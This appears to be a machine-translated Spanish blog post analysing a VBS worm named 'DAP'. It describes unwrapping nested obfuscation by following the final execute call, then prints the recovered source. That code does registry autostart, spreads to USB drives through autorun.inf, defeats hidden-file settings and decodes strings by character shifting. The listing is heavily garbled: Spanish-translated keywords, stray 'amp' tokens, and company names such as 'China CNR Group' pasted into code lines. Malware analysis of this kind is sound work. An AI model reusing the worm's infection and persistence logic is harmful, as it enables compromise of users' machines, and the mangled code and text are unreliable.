¿Cuál es el código fuente de DAP?
Este es un virus de secuencia de comandos VBS. Parece un código confuso y no se puede entender en absoluto. De hecho, aún quedan huellas por seguir. La idea es encontrar la palabra clave "ejecución". Finalmente, el virus será reemplazado por algo que la máquina pueda entender, lo que significa que el contenido de la última capa de ejecución es el código fuente del virus. Con base en esta idea, podemos saber que el método de descifrado debe estar en esta ejecución.
En otras palabras: no necesitas saber cómo se cifra, sólo necesitas saber qué es ejecutar.
Siguiendo esta idea, podemos obtener el código antes de la última iteración del proceso de cifrado del programa, es decir, el código para la primera iteración del descifrado todavía parece confuso, pero de la misma manera. , siempre podemos encontrar la palabra clave ejecutar. Un virus puede pasar por muchas iteraciones, pero eventualmente será comprendido.
Cabe señalar que si el contenido después de la ejecución se descifra y realmente se ejecuta con ejecutar, entonces será una trampa, por lo que se debe tener en cuenta que la ejecución no se puede colocar y ejecutar juntas.
El siguiente es el fragmento de código que finalmente descifré.
En comparación con BT, el autor de este programa cifró manualmente muchos lugares y codificó manualmente el código, lo que obstaculizó seriamente la legibilidad del programa.
Después de analizar el código, su función general es
1. Inicia automáticamente al arrancar
2. Infección del disco USB
3. Destruya las funciones ocultas del sistema
Continúe con el siguiente paso en caso de error
j="\":til="SY":btj=900:vs= ".vbs" :ve= " . vbe ":cm = " com spec /c ": dfo = "/u #t/": INF = " \ autorun . INF "
set ws = createobject(" wscript . shell "): set FSO = createobject(" scripting . objeto del sistema de archivos ")
set wmi = getobject(" winmgmt:\\.\root\CIM v2"): set sis = wmi. execquery( " seleccione * de win32 _ sistema operativo ")
establezca DC = unidades FSO: establezca ATS = wmi .
Para cada ATC en ats: cat = ATC estado: siguiente: si cat="Detenido ", entonces ws.run "net start ""programador de tareas" "", 0, false
ouw. = wscript . nombre completo del script: win = FSO . getspecialfolder(0)&j: dir = FSO .j
tmp=fso.getspecialfolder(2)j:wbe=dir amp;" wbem \":mir=left(ouw,len(ouw)-len(wscript.script name))
CNR="\computer name":CNP="HKLM\System\Current Control Set\Control" ampChina CNR Group Co., Ltd.
China CNR Corporation Limited. cnr: cna=rr (cnp, 0): si cna = " " entonces cna = til
WSC = " wscript . exe " : CSC = " cscript . exe " : CSS = CSC amp " / /no logo ": wsr = rn &: createobject (""wscript.shell " "). ejecute "
c=vbcrlf:inc=til amp"[autorun]" ampc amp" open = "ampwsc amp" .\"ampvs ampc amp" shell\open\command= " ampwsc amp" .\ " ampvs ampc amp" shell\open\default=1 "
SF = " carpetas de shell \ ": ROP = " \ software \ Microsoft \ windows \ versión actual \ explorer \ " :DAP = RR(" HKCU " amp;rop ampsf amp "Escritorio", 0) amp;j
HKLM Software Inc. cna ampj: FSP = RR("HKLM" rop ampsf amp "Inicio" normal ", 0) & Johnson y Johnson.
vs: FAP = RR("HKCU"rop ampsf amp"Favorito",0) ampj
ht=ec("ivwt?56"): ha = EC(":9: 7 gt; 5k w9 "): HB = HL amp; "1; lt lt= 6x "amphl amp" r ": hc="0dwuEpE": hd=ec
(" $" hc) :he=ec( "c" hc)
RSP = "HKLM\Software\Microsoft\Windows\CurrentVersion\":rsb=RSP&" run\":RSP=RSP&"Strategy \explorer\run\ " amp asociación nuclear canadiense canadiense Asociación Nuclear
hip = " HKCU " amp;rop amp" advanced \ showsuperhidden ": SZ = lcase(FSO . get filename(wscript . full name) ): si mir=dir, entonces sys=true
Para cada si en sis:ca=si.caption:cs=si.codeset:cc=si.country code: OS = si Idioma del sistema operativo: wv = si . p>if instr(wv, "5.2") lt; gt0 entonces hb="w" hb: lb="v "else if os lt gt2052 y cc lt gt entonces 86
HB = " p " HB: lb = " o " else HB = " d " HB: lb = " c "
Para cada d en dc
si mir = d ampj entonces ws.run "explorer " ampd,3,false:bir=true
entonces
si bir o sys o mir=win o mir=wbe, entonces tir=true en caso contrario wscript.quit
ouc=rt(ouw,-1): ver=gv(ouw): si ver="" o no es numérico(ver) entonces msgbox("¡Nos vemos!"): km 1
else km 0
si sys entonces
Si sz=wsc, entonces pr csc, -1
Si pr(csc, 2)=1, entonces wscript .quit
wscript.sleep 2000
Si pr(csc, 1 )=0, entonces ws.run css amp director ampve, 0, false: si pr(csc, 1) =1, entonces wscript.quit
if rr("til ", 1) lt; gttil Entonces wr "til", til: wr "tjs", btj: wr "djs", fecha-1: wr "ded", 0
djs=rr("djs", 1): si es fecha(DJs) y fecha-cdate(DJs)>50lblt gt "o" entonces wr "OSW", 4
Si rr("atd ",1)=1 entonces ws.run "at /d /y ", 0, falso:
wr "atd ", 0
le=rr("dna", 1): si ei(tmp amp; le, 1) entonces ws.run tmp amp pragmatic trade (Labor Exchange)ˌexplosivo de baja velocidad de explosión (Bajo explosivo)ˌAgencia de empleo (Bolsa de trabajo)
cu:er 10
Otro
wscript.sleep 5000
Si pr( wsc, 2)=2 entonces: si rr("tjc ", 1) = cstr(fecha) entonces: wscript.quit: else: wr "tjc ", fecha
Si pr(csc, 1) lt; gt1 o pr(wsc, 1) = 0, luego bf dir ampve, ouc, 7: ws ejecuta CSS amp; director ampve, 0, false
Terminará si... p> p>
Si pa=1, entonces rna = rpa amp ácido ribonucleico
rr=ws.regread(rna)
Si er(0) entonces rr=0
p>
para I = 1 a len(wt): EC = EC chr(ASC(mid(wt, I, 1))-i): siguiente
Porque al igual que JS, VBS es un lenguaje interpretado donde el código se ejecuta línea por línea de arriba a abajo. Entonces, el truco para entender este tipo de código es:
Cuando buscamos el punto de entrada de descifrado, debemos priorizar la última ejecución. El autor hace un uso extensivo del empalme lógico. . . Es un cifrado muy BT. . . Ansioso...